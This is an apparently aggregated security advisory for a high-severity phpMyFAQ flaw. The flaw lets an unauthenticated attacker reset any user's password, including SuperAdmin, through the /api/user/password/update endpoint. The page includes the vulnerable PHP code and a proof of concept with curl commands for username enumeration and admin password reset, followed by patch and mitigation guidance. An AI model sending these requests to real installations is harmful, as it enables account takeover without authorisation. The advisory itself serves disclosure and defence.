GHSA-w9xh-5f39-vq89 — thorsten/phpmyfaq
HIGHGHSA-w9xh-5f39-vq89 is a high-severity (CVSS 8.2) CWE-307 vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.
phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w9xh-5f39-vq89.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-w9xh-5f39-vq89 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
thorsten/phpmyfaq🐘phpmyfaq/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body: #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]
public function updatePassword(Request $request): JsonResponse
{
$data = json_decode($request->getContent());
$username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
$email = trim((string) Filter::filterEmail($data->email));
if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
$user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
$loginExist = $user->getUserByLogin($username);
if ($loginExist && $email === $user->getUserData('email')) {
// NO TOKEN CHECK
// NO RATE LIMITING
// NO EMAIL VERIFICATION
$newPassword = $user->createPassword();
$user->changePassword($newPassword);
$mail->send(); // New password sent in plaintext
}
}
}
Root Causes:
- No time-limited cryptographic token required for password reset
- No rate limiting on the endpoint (allows unlimited username/email enumeration)
- No verification email sent to original address before reset
- New password sent in plaintext email without any confirmation step
PoC
Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"[email protected]"}' \
http://target/phpmyfaq/api/user/password/update
Response: {"error":"The email doesn't exist..."} <- user exists but wrong email
OR
Response: {"error":"The user doesn't exist"} <- user doesn't exist
Step 2 - Password Reset (no token required):
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"[email protected]"}' \
http://target/phpmyfaq/api/user/password/update
Response: {"success":"Email has been sent."} The new plaintext password is sent to [email protected]
Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.
Impact
Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted:
- All phpMyFAQ administrators using default installations
- Any organization using phpMyFAQ for internal knowledge bases
- End users whose accounts could be compromised
- Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.1.3composer require thorsten/phpmyfaq:^4.1.3 |
| 🐘Packagist | phpmyfaq/phpmyfaq | all versions | 4.1.3composer require phpmyfaq/phpmyfaq:^4.1.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update thorsten/phpmyfaq to 4.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w9xh-5f39-vq89 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-w9xh-5f39-vq89 in your dependencies?
Find it across Packagist, including transitive dependencies.